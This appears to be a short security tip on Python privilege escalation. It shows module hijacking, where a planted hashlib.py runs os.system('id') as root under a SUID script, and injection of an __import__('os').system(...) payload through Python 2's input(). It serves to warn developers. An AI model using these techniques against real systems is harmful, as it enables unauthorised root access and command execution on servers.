tl;dr
Be aware that imports can be hijacked for Python2 and Python3 - take care of EUIDs.
Don’t use input()
for Python2.x.
Module Hijacking
When assigning SUID bits to Python scripts, privileges can be escalated easily. Consider the following Python source code:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import hashlib
value = raw_input()
md5 = hashlib.md5()
md5.update(value)
print md5.digest()
Note that in case of SUID binaries this code runs as root. Attacker controlled code can be injected by hijacking the hashlib
module as follows:
- In the working directory, create a filed called
hashlib.py
which will get loaded after running the above code. - Add this constructor code to the created file:
class md5():
def _init_(self):
print "loaded md5, hijacking"
import os
os.system("id")
print "done"
By manipulating the call to hashlib.md5()
, the id
command has been executed as root.
This works for Python2.x and Python3 because sys.path
includes the current working directory as first value.
Abusing input()
This only works for Python2.x but it’s great. It turns out that snippets like value = input()
in fact evaluate the user supplied input. This means that a server can be attacked by injecting Python code into user supplied values as follows:
__import__("os").system("uname -a")
This will run the supplied command in a local context or on a remote server.